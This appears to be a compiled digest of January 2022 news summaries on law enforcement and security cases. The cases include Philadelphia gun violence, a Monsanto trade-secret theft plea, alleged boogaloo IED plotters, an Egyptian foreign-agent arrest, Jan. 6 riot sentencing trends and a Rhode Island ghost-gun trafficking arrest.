This week, Philadelphia District Attorney Larry Krasner defended progressive prosecutors while promising to tackle gun violence at the swearing-in ceremony for his second term.

“We believe that we need to focus on the most serious crimes and put less focus on the things that do not make us safer,” Mr. Krasner said.

Americans also bought a record number of guns. There were 21 million background checks for gun purchases in 2020, according to an analysis of federal data by the National Shooting Sports Foundation, an industry trade group.

Early studies of the gun-buying boom haven’t found a clear association with the rise in violence. But federal data shows that new guns are showing up more frequently at crime scenes than in the past. Police recovered almost twice the number of recently purchased guns in criminal investigations in 2020 than they did in 2019, according to the data.

Cities have been working to address the increase in killings, with some [reversing cuts to police departments](#) made in 2020 in response to the defund-the-police movement.

	<p>In Philadelphia, Mayor Jim Kenney said the city spent a record \$155 million to reduce and prevent violence in 2021. Police are focusing on taking illegal guns off the streets and were on track to seize about 6,000 crime guns before the New Year, a 40% increase from two years ago, he said.</p> <p>“There is no greater priority for our administration than to reduce violence and create safer communities and a more just city for everyone,” the mayor said.</p>
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HEADLINE	<b>01/06 China scientist pleads guilty: conspiracy</b>
SOURCE	<a href="https://www.theguardian.com/us-news/2022/jan/07/china-scientist-pleads-guilty-to-stealing-trade-secret-from-monsanto">https://www.theguardian.com/us-news/2022/jan/07/china-scientist-pleads-guilty-to-stealing-trade-secret-from-monsanto</a>
GIST	<p>A Chinese national has pleaded guilty to conspiring to steal a trade secret from American agribusiness giant Monsanto, the US justice department said.</p> <p>Xiang Haitao, 44, was employed as an imaging scientist by Monsanto and its subsidiary, The Climate Corporation, from 2008 to 2017, the department said in a statement.</p> <p>Xiang pleaded guilty on Thursday in Missouri, where Monsanto is based, to one count of conspiracy to commit economic espionage on behalf of China, it said.</p> <p>According to the justice department, Xiang stole proprietary software developed by Monsanto to help farmers improve crop yields.</p> <p>“Despite Xiang’s agreements to protect Monsanto’s intellectual property and repeated training on his obligations to do so, Xiang has now admitted that he stole a trade secret from Monsanto, transferred it to a memory card and attempted to take it to the People’s Republic of China for the benefit of the Chinese government,” assistant attorney general Matthew Olsen said.</p> <p>“Mr Xiang used his insider status at a major international company to steal valuable trade secrets for use in his native China,” said US attorney Saylor Fleming for the Eastern District of Missouri. “We cannot allow US citizens or foreign nationals to hand sensitive business information over to competitors in other countries.”</p> <p>Xiang is to be sentenced on 7 April. He faces a maximum penalty of 15 years in prison and a potential fine of up to \$5m.</p> <p>A Chinese foreign ministry, speaking in 2019 at the time Xiang was charged by US authorities, said Washington was trying to use the case to back its accusations that China steals technology from US companies.</p> <p>“We resolutely oppose the US side’s attempts to use the case, which we regard as an ordinary, isolated incident, to hype up claims of China’s organised and systematic attempts to steal intellectual property from the US,” spokesman Geng Shuang said.</p>
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HEADLINE	<b>01/06 FBI: 2 men indicted on explosive charges</b>
SOURCE	<a href="https://abcnews.go.com/US/men-alleged-ties-boogaloo-movement-built-explosive-devices/story?id=82114002">https://abcnews.go.com/US/men-alleged-ties-boogaloo-movement-built-explosive-devices/story?id=82114002</a>
GIST	<p>Two Washington state men were indicted on federal charges this week that they conspired to build explosives to use against law enforcement, according to newly unsealed court records.</p> <p>Daniel Anderson and Connor Goodman, self-described members of the "Verified Bois" whose members allegedly espouse the anti-government <a href="#">"boogaloo" ideology</a>, according to the FBI, each face two charges of conspiracy to make a destructive device and possession of a destructive device.</p>

	<p>According to the indictment, members of the "Verified Bois" regularly conducted training exercises where they would practice "small unit tactics, raids, firearms handling and manipulation, and survival skills" as they discussed their hopes of attacking police "whom they perceived to engage in over-aggressive law enforcement action."</p> <p>During a meeting in May of last year, Goodman is alleged to have discussed loading a vehicle with the explosive Tannerite to turn the vehicle into a rolling IED. In June, Anderson and Goodman allegedly obtained a load of fireworks from a tribal reservation in eastern Washington and delivered them to an individual who acted as an informant for the FBI.</p> <p>Anderson allegedly told the informant that he wanted to use the fireworks to build IEDs and attach ball bearings to them that would act as shrapnel. The men allegedly expressed interest in throwing them behind lines of police at an unspecified protest.</p> <p>Goodman later allegedly sold the informant 12 mortar-style fireworks that he said he wanted to be constructed into IEDs.</p> <p>According to court records, Anderson has been in custody since December following a search of his home. An attorney for him did not immediately respond to a request for comment. No attorney is listed on the court docket for Goodman.</p> <p>They have not entered pleas.</p>
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HEADLINE	<b>01/06 FBI arrest: foreign agent spying in US</b>
SOURCE	<a href="https://abcnews.go.com/US/fbi-arrests-man-allegedly-spied-egyptian-presidents-opponents/story?id=82113836">https://abcnews.go.com/US/fbi-arrests-man-allegedly-spied-egyptian-presidents-opponents/story?id=82113836</a>
GIST	<p>An Egyptian American has been charged with acting as an illegal agent of <a href="#">Egypt</a> as he "tracked and obtained information regarding political opponents" of the Egyptian president, federal prosecutors in New York said.</p> <p>It's the latest example of an autocratic leader extending their grip beyond their borders to quash political dissent -- a hand that in recent years has even extended into the U.S., according to some analysts.</p> <p>Pierre Girgis, 39, "operated at the direction and control of multiple employees of the Egyptian government," according to the criminal complaint, as he spied on critics of President <a href="#">Abdel Fattah el-Sisi</a>, the Egyptian general who seized power in 2013.</p> <p>Sisi has overseen a widespread crackdown on <a href="#">human rights in Egypt</a>, which is among the least free countries in the world, according to the think tank Freedom House. Sisi's government has imprisoned tens of thousands of political prisoners, criminalized expressions of dissent and deployed security forces with impunity, according to human rights groups.</p> <p>"At the behest of Egyptian officials, Girgis' alleged prohibited conduct included attempting to covertly gather non-public intelligence about the activities of political opponents of Egypt's president, and attempting to gain access for foreign officials to attend law enforcement-only trainings in Manhattan," U.S. attorney Damian Williams said in a statement.</p> <p>Girgis is charged with acting as an agent of a foreign government without notifying the attorney general of the United States and with conspiracy.</p> <p>The Egyptian Embassy in Washington, D.C., has not yet responded to a request for comment. The government has previously denied harassing dissidents or defended arrests as critical to national security, and Sisi once claimed his government held no political prisoners.</p>

Critics, such as the Freedom Initiative, have alleged that Sisi's repressive tactics now extend beyond Egypt's borders to target dissidents overseas.

"Mr. Girgis' activities are not isolated. Egypt has engaged in a pattern of intimidating and harassing rights defenders, journalists and the families of political prisoners in the U.S. for years," said Allison McManus, research director of the human rights organization founded by Mohamed Soltan.

Soltan, an Egyptian American, spent nearly two years in prison for protesting Sisi's 2013 seizure of power. He was tortured in prison, he said, and went on hunger strike to demand his release, but after being returned to the U.S., his outspoken advocacy has resulted in Egyptian authorities harassing his family, he claimed.

Soltan's father has been arrested by Egyptian authorities and has had no communication with his family since, according to Soltan, while five cousins have been arrested and released twice now. The Freedom Initiative alleged in a May 2021 report that at least a dozen American citizens have had family members back in Egypt detained throughout 2020, five of which were in direct response to their political activity in the U.S.

The State Department declined to comment on Girgis' case, saying it is an active law enforcement matter. But spokesperson Ned Price told ABC News, "We are seeking to hold to account countries that would pursue dissidents, that would undertake such activity extraterritorially."

Critics say that little has been done to punish Egypt, one of the United States' key [Middle East allies](#) and a major recipient of military aid.

The Biden administration withheld \$130 million in military aid last fall, which human rights groups in a joint statement said "undermines the human rights of Egypt's citizens and further erodes the standing of the United States."

Examples of this kind of "extraterritorial" activity by autocratic governments have grown in recent years, too.

The Saudi government ordered the murder of Washington Post columnist [Jamal Khashoggi](#) at its consulate in Turkey, [Belarusian dictator Alexander Lukashenko](#) grounded a Ryanair flight to arrest a dissident blogger on board, and Russian agents [poisoned former spy Sergei Skripal](#) and his daughter in the United Kingdom. Saudi Arabia claimed it was a rogue operation, while Russia denied any responsibility for Skripal's poisoning.

This is also not the first case of a foreign agent spying on dissidents in the U.S.

Last summer, the Department of Justice accused four Iranian citizens, including one intelligence agent, of attempting to kidnap activist and [writer Masih Alinejad](#) from her New York apartment. Federal prosecutors said the suspects were directed by the Iranian government to bring Alinejad back to Tehran because of her criticism of the government.

It's unclear what Girgis' information was being used for, if at all, but an Egyptian official allegedly made its value to the government clear in encrypted communications sent in 2018, according to the criminal complaint.

"You do a lot of good things," one message from an unnamed Egyptian official said, according to the complaint. "You have become an important source for them to collect information."

In a 2019 message, Girgis and the same Egyptian official reportedly discussed an upcoming trip of certain Egyptian officials to the United States.

"Tell me what you want me to do," Girgis asked his handler, according to the criminal complaint.



	<p>The Egyptian official responded by inquiring about Girgis' relationship with a particular U.S. law enforcement officer.</p> <p>"Ask [the U.S. law enforcement officer] for something," the official reportedly said. "We want you to find out if there are any police trainings happening in Manhattan in the coming days, and if so, who are the people in charge of these trainings? We would like to attend."</p> <p>Girgis surrendered Thursday morning to the FBI and was due to make an initial appearance in Manhattan federal court later in the day. It wasn't immediately clear if he had arranged a lawyer.</p>
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HEADLINE	<b>01/06 Judges impose lesser sentences Jan 6 riot</b>
SOURCE	<a href="https://www.washingtonpost.com/dc-md-vt/2022/01/06/jan6-sentencings-judges/">https://www.washingtonpost.com/dc-md-vt/2022/01/06/jan6-sentencings-judges/</a>
GIST	<p>When federal judges in Washington began hearing guilty pleas from some of the hundreds of riot participants who attacked the Capitol on Jan. 6 last year, some were highly critical of prosecutors for pursuing only misdemeanor charges, and not seeking jail time, for many defendants.</p> <p>"Is it the government's view that the members of the mob that engaged in the Capitol attack on January 6 were simply trespassers?" <a href="#">Chief U.S. District Judge Beryl A. Howell</a> asked incredulously in October. "Is general deterrence going to be served by letting rioters who broke into the Capitol, <a href="#">overran the police</a> ... broke into the building through windows and doors ... resolve their criminal liability through petty offense pleas?"</p> <p>But for all four defendants Howell has sentenced, she has imposed less jail time than prosecutors sought, <a href="#">saying that government plea deals in most misdemeanor cases are forcing judges to choose</a> whether short jail terms or years of probation pose a stronger deterrent. And her decisions are not unusual, a Washington Post analysis found.</p> <p>Federal judges in D.C. have gone below the government recommendation in 49 out of 74 sentencings held for Capitol riot defendants one year after the attack, about two-thirds of the cases. In eight cases where prosecutors asked for jail time, the judges instead opted for probation. Of the 74 people sentenced so far, 35 have been given jail or prison time, 14 home detention and 25 probation alone.</p> <p>About a quarter of cases in what the government has called the largest investigation in U.S. history have resulted in guilty pleas as of Jan. 6 this year; out of 701 people charged in federal court, 174 have pleaded guilty. (One case was dropped against a man who never went inside the building; two defendants have died.) While half the defendants face felony charges, nearly 90 percent of pleas involve misdemeanors, as prosecutors so far have focused on closing less serious cases to marshal resources for more complex trials ahead.</p> <p>Before the pandemic, about half of federal felony cases in Washington were resolved within a year. But the system has moved slowly for those accused of the most serious crimes due to the pandemic and the vast amount of electronic evidence, whether videos or social media, which had to be reviewed and shared. Prosecutors are also using the felony charge of "obstruction of Congress" in a novel way against 275 defendants, <a href="#">prompting legal challenges</a> that have delayed plea talks. Those challenges are easing, however, likely speeding up guilty pleas, cooperation deals and the overall investigation, as well as increasing average sentences as more felony cases are decided.</p> <p><b>Capitol riot prosecutions one year later</b></p> <ul style="list-style-type: none"> <li>• <b>701 people charged federally</b> <ul style="list-style-type: none"> <li>○ 367 with at least one felony <ul style="list-style-type: none"> <li>▪ 156 charged with assault on police</li> <li>▪ 39 charged with conspiracy</li> </ul> </li> <li>○ 334 misdemeanors only</li> </ul> </li> </ul>

- **174 have pleaded guilty**
  - 24 felonies
  - 150 misdemeanors
- **74 have been sentenced**
  - 7 felonies
  - 67 misdemeanors
- **35 sentenced to jail or prison; 14 to home detention; 25 to probation**
- **527 cases remain, 344 involving felonies**

Of the 367 people charged with at least one felony as of Thursday — including 156 charged with assaulting law enforcement — only seven cases have reached sentencing, and just three of those involved attacks on the police. No trials have been held, with the first set to begin in February. None of the 39 people charged with conspiring to stop the vote count, [including members and associates of the Oath Keepers and Proud Boys](#), have been sentenced.

Although the Justice Department has argued generally that higher sentences would deter domestic terrorism, prosecutors so far have not formally asked judges to apply terrorism-related enhancements that could more than double the sentencing guidelines. Instead, they have used the threat of that enhancement to encourage guilty pleas, lawyers have said.

In addition to those charged, the government estimates more than 1,000 other people took part in the riot, including more than 350 who committed acts of violence in the insurrection that resulted in attacks on scores of police officers and [left at least five dead](#).

It's not unusual for federal defendants who plead early and cooperate to get better sentencing deals. And [judges regularly sentence below government recommendations](#) and the advisory guidelines calculated by probation officers, which factor in criminal and personal history, remorse and the seriousness of the offenses. Defendants also get to make recommendations at sentencing, with courts often splitting the difference. And Jan. 6 prosecutors began asking for jail time more often after judges' initial complaints.

Nevertheless, U.S. district judges in Washington have lamented that they are limited by prosecutors' decisions to let many rioters plead to a "petty offense" of illegally parading inside the Capitol or other misdemeanors, including at least 14 allowed to plead down from felonies. And even among seven felony cases sentenced so far, alongside 67 misdemeanor cases, judges have reduced the government's proposed sentence in five of them.

Ed Ungvarsky, a longtime defense attorney who represented one Jan. 6 defendant charged with a misdemeanor, said strong comments by judges about a low-level case are common. Judges, he said, are "signaling the seriousness of the overall situation" and want to send a message to "actors charged and uncharged" — including "those who exhorted the activity at the Capitol that day" — that they have gotten a break, but "shouldn't expect it again."

Some felony defendants have gotten a break for pleading early. Prosecutors sought an 18-month sentence for [Paul A. Hodgkins](#), who pleaded guilty to the felony of obstructing a joint session of Congress while carrying a "Trump 2020" flag into the well of the evacuated Senate on Jan. 6. Hodgkins was the first riot participant to face sentencing for that felony charge, which other defendants have argued is unconstitutional. U.S. District Judge Randolph D. Moss, an appointee of President Barack Obama, sentenced him to eight months.

Judge [Amy Berman Jackson](#), another Obama appointee, gave the largest departure from a government recommendation to [Cleveland Meredith](#), who headed to D.C. armed and threatening to kill House Speaker Nancy Pelosi (D-Calif.) but failed to make it in time for the riot. Prosecutors sought a roughly 41-month sentence; Jackson gave him 28, citing his mental health problems and "need of a comprehensive assessment and an intensive, multilayered treatment plan."

By law, judges are required to consider several criteria in devising sentences, starting with the seriousness of the offense and “to provide just punishment.” The judges must also consider whether the sentence affords “adequate deterrence,” protects the public from further crimes of the defendant, the need to provide the defendant with treatment or training, and the defendant’s legal history and personal background. The judges must also avoid “unwarranted sentence disparities” among defendants with similar records convicted of similar crimes. Very few of the Jan. 6 defendants have prior criminal records.

Besides the 49 cases in which the judges have imposed lesser sentences than requested by prosecutors, the judges have increased the proposed sentence in 11 cases, and given the exact sentence requested by the government in 14 cases. Through a spokeswoman, the judges of the federal court in D.C. declined to comment.

The refusal to routinely impose heavy sentences shows “the prosecutors and judges are doing exactly as their oaths require,” said Jay Town, a former U.S. attorney in Alabama who served on a Trump-era law enforcement commission. “Judges are thoughtfully curating sentences for defendants under the totality of the circumstances, not just heedlessly following the government’s recommendations.”

The sample size of 74 sentencings is small, but a split has emerged among some judges appointed by presidents of different parties. Of the 11 sentences above the government’s recommendation, nine were exceeded by Democratically appointed judges, with Obama appointee Tanya S. Chutkan going higher than requested in seven. There are 10 judges appointed by Democratic presidents and eight appointed by Republicans who are handling Jan. 6 sentencings at the district court in Washington.

Of the 49 sentences that have been below the government recommendation, 30 were by Republican-appointed judges, though they are a slender minority on the court. As of Jan. 6 this year, Judge Carl J. Nichols went lower than requested in eight of his 10 sentencings. Judge Trevor N. McFadden went below the government’s request in five of the seven cases he has heard, while going higher in one. Both judges were appointed by President Donald Trump.

The results appear to have flipped some judges’ sentencing tendencies, given their backgrounds. Chutkan is a former public defender, and McFadden is a former Justice Department official, prosecutor and police officer.

When prosecutors asked for a two-month home confinement sentence for a defendant from Oklahoma who climbed into the Capitol through a broken window and pleaded guilty to parading, McFadden instead gave her two months of probation.

“I think the U.S. attorney would have more credibility,” McFadden said, “if it was evenhanded in its concern about riots and mobs in this city.”

Hundreds of people were arrested in D.C. during racial justice protests in 2020; not all were charged, and police were accused of sweeping up nonviolent protesters and observers. McFadden has rejected prosecution requests for home detention in four Jan. 6 cases, saying he thought it was ineffectual.

Advertisement

Chutkan stands out in exceeding government requests in seven of her eight cases so far, sentencing defendants who pleaded guilty to unlawful parading to prison terms of 14 to 45 days — above prosecutors’ requests for no time or 30 days.

“There have to be consequences for participating in an attempted violent overthrow of the government, beyond sitting at home,” Chutkan said in an October sentencing.

“People gathered all over the country last year to protest the violent murder by the police of an unarmed man — some of those protests became violent,” Chutkan said, apparently referring to McFadden’s comments. “But to compare the actions of people protesting mostly peacefully for civil rights to those of a violent mob seeking to overthrow the lawfully elected government is a false equivalency and ignores the very real danger that the Jan. 6 riot posed to the foundation of our democracy.”

Chutkan also gave the longest sentence thus far — to [Robert S. Palmer](#), who got the 63 months in prison prosecutors sought for repeatedly attacking police officers at the Capitol with a fire extinguisher and a pole. In two other police assault cases, judges went slightly below government requests, issuing sentences of 46 instead of 48 months, and 41 instead of 44 months.

McFadden is not alone in regularly rejecting prosecutors' suggestions, though his reasoning may be different from others. Historically tough sentencing judges Royce C. Lamberth and Reggie Walton, both Republican appointees, have repeatedly sentenced below government recommendations in misdemeanor cases.

"Even for people who were just there for a short period and walked through, the seriousness of what happened that day ... the effect on the country is such that the courts have to treat it like a serious offense," Lamberth told a defendant who was briefly in the building. But the judge also believed the 81-year-old veteran had "lived a life that is to be emulated," and Lamberth "encouraged others" to plead guilty rather than go to trial.

Fla. man sentenced to 5 years for attacking police, the longest Jan. 6 riot sentence yet

"I hope others will follow your lead," he said, in giving the man three months of home detention — a month shy of the government request.

Walton told a Florida man who recorded officers being assaulted and tried to open doors inside the Capitol that he had "disgraced this country in the eyes of the world." But Walton gave him three years of probation for illegal parading, rather than the four months in jail prosecutors wanted.

Prosecutors have allowed 58 of the 74 sentenced defendants to plead guilty to "illegal parading or picketing," a misdemeanor punishable by no more than six months in jail. Probationary terms could be longer, but legal precedent indicates judges cannot combine both supervision and incarceration for the parading charge.

In a recent sentencing memorandum, the Justice Department explained that those who "did not carry a weapon into the building, engage in violence or property destruction, or conspire or coordinate with groups intent on breaching the building" have been "permitted to plead guilty to a misdemeanor of their choosing." Most have chosen parading; other misdemeanors can carry more jail time and a mix of probation and incarceration.

By allowing some defendants initially charged with felony obstruction to plead to misdemeanors punishable by up to a year in prison, and defendants facing such misdemeanor charges to plead down to parading, prosecutors have created a three-tier system that incentivizes defendants to plead guilty, defense lawyer have said. The U.S. attorney's office for the District, which is leading the prosecution, declined to comment.

But some judges criticized the either-jail-or-probation sentencing aspect of the parading charge. They said it ties their hands, when a combination of jail time and years of supervision could better deter individual defendants and others from committing similar crimes, and probationary services could help defendants with drug, work or mental health problems.

Howell said that was why she rejected government requests for two to 12 weeks of jail time for four defendants in lieu of two to three years of probation. For one, she added two weeks of detention in a halfway house to get around the restriction.

While chiding the government for not "being more creative" in its recommendations, Jackson has gone below prosecutors' recommendations in five out of eight sentencings. In the case of an Indiana man who went into the Capitol with a pocket knife, the Obama appointee said she was "hamstrung" by the government's decision to let him plead guilty to parading.

	<p>As Howell has, Jackson chose to give him home detention and probation instead of the two months in jail sought by prosecutors, in part because he had started going to therapy, stopped using drugs and started a new job.</p> <p>“It’s most beneficial to yourself and the public if I insist that you continue to get the help that you need,” she concluded.</p>
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HEADLINE	<b>01/06 Arrest: operated ‘ghost gun’ home factory</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/nyregion/rhode-island-man-ghost-guns-arrested.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=New%20York">https://www.nytimes.com/2022/01/06/nyregion/rhode-island-man-ghost-guns-arrested.html?action=click&amp;module=Well&amp;pgtype=Homepage&amp;section=New%20York</a>
GIST	<p>One day in November, law enforcement authorities observed a Providence, R.I., man buy the key components of nearly four dozen so-called ghost guns at a gun show in Morgantown, Pa.</p> <p>The man, Robert Alcantara, loaded the parts into his car and began heading back to Providence, where he operated a ghost gun “home factory,” the authorities said.</p> <p>But he never made it. Mr. Alcantara was arrested on state gun-related charges as he drove through the Bronx, and the authorities seized parts for 45 ghost guns from his car, the government said.</p> <p>Mr. Alcantara later told investigators he had paid \$16,200 for the gun parts and planned to turn them into completed firearms, according to a criminal complaint unsealed on Thursday in Federal District Court in Manhattan.</p> <p>The complaint charges Mr. Alcantara, 34, with conspiracy to traffic firearms and lying when questioned by a federal agent.</p> <p>In the two years leading up to his arrest, Mr. Alcantara was involved in the sale or attempted sale of what appeared to be more than 100 firearms, most of them handguns that he bought in an incomplete form and then finished at a workstation in his house, the complaint said. Most were sold in the Dominican Republic, the complaint said.</p> <p>When Mr. Alcantara spoke with investigators after his arrest, he did so after being advised of his Miranda rights and waiving them, the complaint said. It said he told investigators that he did not intend to sell the 45 firearms after he had completed them.</p> <p>A lawyer for Mr. Alcantara declined to comment on Thursday.</p> <p>Ghost guns — <a href="#">untraceable firearms</a> without serial numbers that are assembled from components bought online or at gun shows — have <a href="#">proliferated in New York</a> and elsewhere and have <a href="#">drawn increasing concern from law enforcement</a> officials.</p> <p>They can be built from kits and can complicate investigations, making it hard to trace such guns to their source. Their availability, even in states with strict firearm laws, can make them accessible to people barred legally from owning or purchasing guns.</p> <p>“Untraceable ghost guns pose a serious threat to public safety,” said Damian Williams, the U.S. attorney in Manhattan, in a statement announcing the charges. He added that Mr. Alcantara’s “deadly ghost gun business has been shut down.”</p> <p>Nicholas Biase, a spokesman for Mr. Williams, said Mr. Alcantara was ordered detained by a federal magistrate judge in Providence, and he is expected eventually to be sent to Manhattan to face the potential charges and a trial.</p>

In the federal complaint, prosecutors said that the ghost gun parts Mr. Alcantara purchased included the lower receiver or frame of a pistol, which houses the trigger and the magazine, and the upper receiver or “slide.”

They said a search of Mr. Alcantara’s cellphone turned up photographs that appeared to show he has been making “substantial numbers” of ghost guns at his Providence home.

One photo showed a sanding belt, a hydraulic drill press and other tools used in assembling the guns, and five finished ghost guns. Another photo depicted the finished guns each with a logo of a ghost gun manufacturer. A third photograph showed eight more firearms that appear to be packaged for shipment or sale, the complaint said.

The complaint said the phone also contained a conversation between Mr. Alcantara and a representative of a ghost gun retailer, in which Mr. Alcantara discussed purchasing kits for large numbers of ghost guns and how to pay for them.

In one conversation in November, he talked about buying a large number of ghost gun kits from a retailer at the gun show in Morgantown, according to the complaint, which was signed by Kiran Mathew, a special agent with the federal Bureau of Alcohol, Tobacco, Firearms and Explosives.

The government said Mr. Alcantara also told the authorities after his arrest that he had a YouTube channel on which he discussed firearms. One YouTube video shows Mr. Alcantara saying that he had a firearm created with parts from a ghost gun manufacturer, the complaint said. In the video, he successfully fires the ghost gun.

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